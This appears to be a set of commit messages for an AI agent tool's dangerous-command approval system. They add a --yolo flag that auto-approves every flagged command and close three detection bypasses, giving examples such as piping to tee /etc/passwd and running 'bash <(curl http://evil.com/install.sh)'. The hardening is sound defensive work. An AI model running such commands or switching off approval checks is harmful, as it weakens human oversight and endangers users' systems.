Authored by dmahan93. Adds HERMES_YOLO_MODE env var and --yolo CLI flag
to auto-approve all dangerous command prompts.
Post-merge: renamed --fuck-it-ship-it to --yolo for brevity,
resolved conflict with --checkpoints flag.
Adds a fun alias for skipping all dangerous command approval prompts.
When passed, sets HERMES_YOLO_MODE=1 which causes check_dangerous_command()
to auto-approve everything.
Available on both top-level and chat subcommand:
hermes --fuck-it-ship-it
hermes chat --fuck-it-ship-it
Includes 5 tests covering normal blocking, yolo bypass, all patterns,
and edge cases (empty string env var).
Add Daytona to image selection, container_config guards, environment
factory, requirements check, and diagnostics in terminal_tool.py and
file_tools.py. Also add to sandboxed-backend approval bypass.

Three attack vectors bypassed the dangerous command detection system:
1. tee writes to sensitive paths (/etc/, /dev/sd, .ssh/, .hermes/.env)
were not detected. tee writes to files just like > but was absent
from DANGEROUS_PATTERNS.
Example: echo 'evil' | tee /etc/passwd
2. curl/wget via process substitution bypassed the pipe-to-shell check.
The existing pattern only matched curl ... | bash but not
bash <(curl ...) which is equally dangerous.
Example: bash <(curl http://evil.com/install.sh)
3. find -exec with full-path rm (e.g. /bin/rm, /usr/bin/rm) was not
caught. The pattern only matched bare rm, not absolute paths.
Example: find . -exec /bin/rm {} \;
The regex pattern for detecting recursive delete commands (rm -r, rm -rf,
etc.) incorrectly matched filenames starting with 'r' — e.g., 'rm readme.txt'
was flagged as 'recursive delete' because the dash-flag group was optional.
Fix: make the dash mandatory so only actual flags (-r, -rf, -rfv, -fr)
are matched. This eliminates false approval prompts for innocent commands
like 'rm readme.txt', 'rm requirements.txt', 'rm report.csv', etc.
Before: \brm\s+(-[^\s]*)?r — matches 'rm readme.txt' (false positive)
After: \brm\s+-[^\s]*r — requires '-' prefix, no false positives
